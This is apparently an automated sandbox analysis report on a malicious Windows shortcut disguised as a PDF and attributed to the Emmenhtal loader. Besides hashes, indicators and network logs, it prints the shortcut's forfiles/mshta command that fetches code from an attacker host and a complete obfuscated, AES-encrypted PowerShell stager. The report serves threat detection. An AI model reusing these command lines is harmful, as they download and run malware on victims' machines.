| File name: | Instruction_1921.pdf.lnk |
| Full analysis: | https://app.any.run/tasks/2a8a2311-af11-423a-9437-433c9c58f619 |
| Verdict: | Malicious activity |
| Threats: | First identified in 2024, Emmenhtal operates by embedding itself within modified legitimate Windows binaries, often using HTA (HTML Application) files to execute malicious scripts. It has been linked to the distribution of malware such as CryptBot and Lumma Stealer. Emmenhtal is typically disseminated through phishing campaigns, including fake video downloads and deceptive email attachments. |
| Analysis date: | November 02, 2024, 18:51:47 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-ms-shortcut |
| File info: | MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has command line arguments, Icon number=11, Unicoded, HasExpIcon "%ProgramFiles%\Microsoft\Edge\Application\msedge.exe", MachineID odafa KnownFolderID 1AC14E77-02E7-4E5D-B744-2EB1AE5198B7, Archive, ctime=Sat May 7 05:20:19 2022, atime=Sat May 7 05:20:19 2022, mtime=Sat May 7 05:20:19 2022, length=41472, window=showminnoactive, IDListSize 0x0145, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\", LocalBasePath "C:\Windows\System32\forfiles.exe" |
| MD5: | 6F31310E10AA5FACB395D7D86405233F |
| SHA1: | 420E4892C3172F0914580AEED00BF69E55EC4E4B |
| SHA256: | 6C81E9EF7ADD7D0A75DFB369EE0918D0B6CE59B582823E2FEF93C9F2B7A38446 |
| SSDEEP: | 48:858X8dEUa05L4HhnvPvdo9aQmGVGh5W3b:85Uv05L4HZPyJ8 |
MALICIOUS
EMMENHTAL loader has been detected
- powershell.exe (PID: 5744)
Run PowerShell with an invisible window
- powershell.exe (PID: 5744)
Changes powershell execution policy (Unrestricted)
- mshta.exe (PID: 6852)
Uses AES cipher (POWERSHELL)
- powershell.exe (PID: 5744)
Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)
- powershell.exe (PID: 5744)
Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)
- powershell.exe (PID: 5744)
SUSPICIOUS
Starts process via Powershell
- powershell.exe (PID: 608)
Searches and executes a command on selected files
- forfiles.exe (PID: 612)
Starts POWERSHELL.EXE for commands execution
- forfiles.exe (PID: 612)
- mshta.exe (PID: 6852)
Executable content was dropped or overwritten
- mshta.exe (PID: 6852)
- powershell.exe (PID: 5744)
Process drops legitimate windows executable
- mshta.exe (PID: 6852)
The process bypasses the loading of PowerShell profile settings
- mshta.exe (PID: 6852)
Probably obfuscated PowerShell command line is found
- mshta.exe (PID: 6852)
Cryptography encrypted command line is found
- powershell.exe (PID: 5744)
Executes script without checking the security policy
- powershell.exe (PID: 5744)
INFO
Reads security settings of Internet Explorer
- powershell.exe (PID: 608)
Reads the software policy settings
- powershell.exe (PID: 608)
Create files in a temporary directory
- powershell.exe (PID: 608)
Reads Internet Explorer settings
- mshta.exe (PID: 6852)
Checks proxy server information
- mshta.exe (PID: 6852)
- powershell.exe (PID: 5744)
The process uses the downloaded file
- mshta.exe (PID: 6852)
Gets data length (POWERSHELL)
- powershell.exe (PID: 5744)
Gets a random number, or selects objects randomly from a collection (POWERSHELL)
- powershell.exe (PID: 5744)
Disables trace logs
- powershell.exe (PID: 5744)
The executable file from the user directory is run by the Powershell process
- updater.exe (PID: 6236)
Reads mouse settings
- updater.exe (PID: 6236)
Reads Windows Product ID
- updater.exe (PID: 6236)
Reads CPU info
- updater.exe (PID: 6236)
Checks supported languages
- updater.exe (PID: 6236)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .lnk | | | Windows Shortcut (100) |
|---|
EXIF
LNK
| Flags: | IDList, LinkInfo, Description, RelativePath, CommandArgs, IconFile, Unicode, ExpIcon |
|---|---|
| FileAttributes: | Archive |
| CreateDate: | 2022:05:07 05:20:19+00:00 |
| AccessDate: | 2022:05:07 05:20:19+00:00 |
| ModifyDate: | 2022:05:07 05:20:19+00:00 |
| TargetFileSize: | 41472 |
| IconIndex: | 11 |
| RunWindow: | Show Minimized No Activate |
| HotKey: | (none) |
| TargetFileDOSName: | forfiles.exe |
| DriveType: | Fixed Disk |
| DriveSerialNumber: | 5823-95DD |
| VolumeLabel: | System |
| LocalBasePath: | C:\Windows\System32\forfiles.exe |
| Description: | Instruction_1921.pdf |
| RelativePath: | ..\..\..\..\..\..\..\Windows\System32\forfiles.exe |
| CommandLineArguments: | /p C:\Windows /m expl*re?.exe /c "powershell Start-Process \*i*\*2\m?h*e https://cdn-defac13.techresource.shop/api/reg/Pantok |
| IconFileName: | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe |
| MachineID: | odafa |
Total processes
136
Monitored processes
7
Malicious processes
4
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 608 | Start-Process \*i*\*2\m?h*e https://cdn-defac13.techresource.shop/api/reg/Pantok | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | forfiles.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 612 | "C:\Windows\System32\forfiles.exe" /p C:\Windows /m expl*re?.exe /c "powershell Start-Process \*i*\*2\m?h*e https://cdn-defac13.techresource.shop/api/reg/Pantok | C:\Windows\System32\forfiles.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: ForFiles - Executes a command on selected files Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4076 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5744 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($ehjjxkXo){return -split ($ehjjxkXo -replace '..', '0xf7f81a39-5f63-5b42-9efd-1f13b5431005amp; ')};$UzrJq = clean('A42DA24A299099619919A3409FE1426CA8CF2A3D2276C1CC2A5EECCEBED39BE13120595377355F10AA3B0D0A94CF396A0570FC320E4592333FA7A5F6E4A4C55BAC9CB88EA9F86FCAD10428EB214E8216FD4D3456327F82AD418FDB7C2647C509C67E2FE1D45B25F81799A6AF15B26538D0EFB2FA7D10EEB2D18990235F4B4E5684CC091928DED7421621A3C94BAB00C555A11BC49FD2F82ADFCC319F03F2E861EB9A02FE0CCFE58DFA2F9970992ED1A3AA44688E7233D18976BD70D2A5AE96F78E65B9B70F8448D8EB3EBCAD59661E28917F1CC7389EEA710A2E13D025953577181F9FB5811CBC14CDF19679E162542758476D14798EDD2F9922E189820943E4F1FDF4164E9BD6D13BD2A289A753F0625AC9721A0F5FEF7DBD1DB7CD2BE4244E8AF899F9D4262163BB8BAB22AC3010CF4CD89F4C8EDD0C72D083095E8E336662B5D9BFCF62449B3D981771B73470C3072282A4A4E14C7D3CEDAB2D893B28A91009C6C2C6A0235A45D99E34279139DEB770073F8696DCD55ACFBABF0D9E44E957679F46F5078961462C9C165EAE61B1800A5F27EA37EC3F6971B3ADA9B8B97EC51C8122A4A3318B428D321FAA372A7657BE417525F7A878775B8E11E8A8179C799105343359806371730EA3BA7FB6A6D884E505AEB696DB94F22075B3227B4D876E1C459DD72BD9C1E5A8153DCD045A454F92FF3A3BF6DE397EDB9538A8ED1B2C6A27F26242DB12A9FEA6B2E68E936CC294D6A024C34133FAC1AA1E28DD1F193D41273DC2DD6F982A4B5A48C7063ECF270A8C5D0741AF0E8987AB110833F6A2C1A68C38CEA747246585C8518F54B7D277FD647ACDFB8B201A5DAABFABB6B11DFA468B39C5C1A619A3D0C0871AB0921AFB1C5F42D55216DCCB191EB0938B14F7AC6731B760DF9AB6C198A93DB156B803B8E4CE324FF90A744A8A28D5BADEE2193E6B126366D6D809F94AC8343B496725731D8F4A8BD3C2BED4EBB7610DD36482862D4A4E29696FE013F8C35A2B91FB5DBF4166F644524DFF6199BEFFC79494994F0C04C4645AC119E10867D5B4CE38B4F957D6D5BB6ED961896A0F387C42CBC29124E64C941553984E0C834F57AC2DABE62AC4271DF00F4D701D837837F5EA6B3F93DDE9658D8B2701B053EA94BED4013CCB9ADCFC5177D170CCB88CDE9BF3E6EF0F59AA07C028E19C82B3395C8DDB36F24BE6BCD00C22BAFF8091BED1C737711298A89AF32885EA18C3DE114BB35929CF137E3BEB44E0E17F7562F41FBFD94F93D35D12CA30DEC623DCB1CADC298F14493F9682A09037A50E5E31226AEF79EB48C772DFB4B0437A0F3DA3B95E0B7A0ADEBE1E2F969020791A17DB8FE1CC1574E9CA451685DF9F0FB1237AEE411F3AF39A7C3C76063F09C89BCAC41BDB2572D2ACCB6BA714E4F72943EDC632588B30EA908A3D6408DEB840D8029611A71BA88B23');$irp = [System.Security.Cryptography.Aes]::Create();$irp.Key = clean('6778726A6463674A4E7454754D596E66');$irp.IV = New-Object byte[] 16;$StvnJT = $irp.CreateDecryptor();$WyZak = [Text.Encoding]::UTF8.GetString($StvnJT.TransformFinalBlock($UzrJq, 0,$UzrJq.Length)); & $WyZak.Substring(0,3) $WyZak.Substring(3) | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | mshta.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6236 | "C:\Users\admin\AppData\Local\Temp\42170385\updater.exe" C:\Users\admin\AppData\Local\Temp\42170385\lczEdvRq.bin | C:\Users\admin\AppData\Local\Temp\42170385\updater.exe | — | powershell.exe | |||||||||||
User: admin Company: AutoIt Team Integrity Level: MEDIUM Description: AutoIt v3 Script (Beta) Exit code: 0 Version: 3, 3, 15, 1 Modules
| |||||||||||||||
| 6284 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | forfiles.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6852 | "C:\Windows\System32\mshta.exe" https://cdn-defac13.techresource.shop/api/reg/Pantok | C:\Windows\System32\mshta.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 11.00.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
10 308
Read events
10 305
Write events
3
Delete events
0
Modification events
| (PID) Process: | (6852) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (6852) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (6852) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
Executable files
2
Suspicious files
6
Text files
4
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 608 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:C522B69DE25B7E6EC4B24A470FA023E5 | SHA256:E7F7E5233185D90AF320D1F48160503A60930E2160AA64B9F69C15B29933F37E | |||
| 6852 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12 | der | |
MD5:67E486B2F148A3FCA863728242B6273E | SHA256:FACAF1C3A4BF232ABCE19A2D534E495B0D3ADC7DBE3797D336249AA6F70ADCFB | |||
| 6852 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8 | binary | |
MD5:3EFDE76CF252FFBBF8F839A3A41F6B28 | SHA256:D0BBC1EEB1407571505A218473771531CB2A89E058255E549482CC5FBDF100DF | |||
| 6852 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8 | der | |
MD5:971C514F84BBA0785F80AA1C23EDFD79 | SHA256:F157ED17FCAF8837FA82F8B69973848C9B10A02636848F995698212A08F31895 | |||
| 5744 | powershell.exe | C:\Users\admin\AppData\Local\Temp\42170385\updater.exe | executable | |
MD5:3F58A517F1F4796225137E7659AD2ADB | SHA256:1DA298CAB4D537B0B7B5DABF09BFF6A212B9E45731E0CC772F99026005FB9E48 | |||
| 5744 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_detldaqu.g11.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5744 | powershell.exe | C:\Users\admin\AppData\Local\Temp\42170385\lczEdvRq.bin | binary | |
MD5:5BF2FDA81A25C061159DEE9F57844A21 | SHA256:2D6F552D97280906D453E6E5B2A2215198F1AA1EEC04C14AA1023BB76B0E5562 | |||
| 608 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_akojhnij.kne.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6852 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12 | binary | |
MD5:07E69B32D2638945EEC8D7615D0296C5 | SHA256:E3C9683CA969AF25C807C3470F10329DE8BBE0E3E0977EC4D1D2D0F9A68437ED | |||
| 6852 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\Pantok[1] | executable | |
MD5:9CBAC974A71DC45344935A5AFEDAC934 | SHA256:395C32B55F1F77302553E8ACB6BF6E628E318A48223B6C558B69A57AE5B5FB41 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
41
DNS requests
21
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5488 | MoUsoCoreWorker.exe | GET | 200 | 72.246.29.11:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
5488 | MoUsoCoreWorker.exe | GET | 200 | 23.48.23.156:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
4360 | SearchApp.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
6852 | mshta.exe | GET | 200 | 142.250.186.67:80 | http://c.pki.goog/r/gsr1.crl | unknown | — | — | whitelisted |
6852 | mshta.exe | GET | 200 | 142.250.186.67:80 | http://c.pki.goog/r/r4.crl | unknown | — | — | whitelisted |
2076 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
6176 | SIHClient.exe | GET | 200 | 72.246.29.11:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
6176 | SIHClient.exe | GET | 200 | 72.246.29.11:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
5644 | backgroundTaskHost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
6944 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
3396 | RUXIMICS.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5488 | MoUsoCoreWorker.exe | 23.48.23.156:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
5488 | MoUsoCoreWorker.exe | 72.246.29.11:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
4020 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
816 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4360 | SearchApp.exe | 23.11.206.91:443 | www.bing.com | Akamai International B.V. | DE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
www.bing.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
cdn-defac13.techresource.shop |
| unknown |
c.pki.goog |
| whitelisted |
login.live.com |
| whitelisted |
th.bing.com |
| whitelisted |